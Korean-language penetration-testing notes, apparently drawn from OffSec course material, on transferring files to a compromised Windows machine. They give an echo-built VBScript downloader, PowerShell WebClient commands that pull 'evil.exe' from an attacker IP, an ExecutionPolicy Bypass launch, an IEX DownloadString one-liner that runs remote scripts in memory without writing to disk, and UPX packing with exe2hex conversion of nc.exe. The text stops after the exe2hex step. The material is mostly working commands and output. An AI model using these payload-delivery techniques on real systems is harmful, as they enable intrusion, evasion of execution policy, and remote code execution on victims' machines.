Winodws 파일 전송

스크립팅 언어를 활용한 윈도우 파일 다운로드

VBScript로 HTTP 다운로더 스크립트 만들기:

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo  Err.Clear >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo  http.Open "GET", strURL, False >> wget.vbs
echo  http.Send >> wget.vbs
echo  varByteArray = http.ResponseBody >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo  Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo  strData = "" >> wget.vbs
echo  strBuffer = "" >> wget.vbs
echo  For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo  ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo  Next >> wget.vbs
echo  ts.Close >> wget.vbs

 

해당 스크립트는 cscript로 실행해서 칼리(Kali) 머신에 있는 파일 끌어올 때 씀:

C:\Users\Offsec> cscript wget.vbs http://10.11.0.4/evil.exe evil.exe

PowerShell 이용한 윈도우 파일 다운로드

System.Net.WebClient 파워쉘 클래스로 다운로더 스크립트 짜는 방식:

C:\Users\Offsec> echo $webclient = New-Object System.Net.WebClient >>wget.ps1
C:\Users\Offsec> echo $url = "http://10.11.0.4/evil.exe" >>wget.ps1
C:\Users\Offsec> echo $file = "new-exploit.exe" >>wget.ps1
C:\Users\Offsec> echo $webclient.DownloadFile($url,$file) >>wget.ps1

 

실행할 때는 우회 옵션 붙여서 이렇게 돌리면 됨:

C:\Users\Offsec> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

 

파일 안 만들고 One-liner로도 사용 가능:

C:\Users\Offsec> powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/evil.exe', 'new-exploit.exe')

 

원격 파일 다운로드 후 메모리에서 바로 실행

테스트용으로 칼리 쪽에 파워쉘 스크립트 하나 대충 만듦:

kali@kali:/var/www/html$ sudo cat helloworld.ps1 Write-Output "Hello World"

 

그 다음 장악한 윈도우 쪽에서 이 명령어 사용

C:\Users\Offsec> powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://10.11.0.4/helloworld.ps1')
Hello World

 

타겟 하드디스크에 파일 저장 안 하고 칼리에서 스크립트 내용 가져와서 메모리 상에서 바로 실행된 거 확인됨.

 

exe2hex랑 PowerShell 조합해서 다운로드

우선 칼리에서 nc.exe 파일 위치 찾아서 복사해옴:

kali@kali:~$ locate nc.exe | grep binaries
/usr/share/windows-resources/binaries/nc.exe
kali@kali:~$ cp /usr/share/windows-resources/binaries/nc.exe .
kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 58K Sep 18 14:22 nc.exe

 

원래도 원본 바이너리가 작긴 한데 용량 더 줄이는 거 보여주려고 upx 패커 돌림:

kali@kali:~$ upx -9 nc.exe
                       Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     59392 ->     29696   50.00%    win32/pe     nc.exe

Packed 1 file.
kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 29K nc.exe

 

변환은 exe2hex 툴 사용해서 진행:

kali@kali:~$ exe2hex -x nc.exe -p nc.cmd
[*] exe2hex v1.5.1
[+] Successfully wrote (PoSh) nc.cmd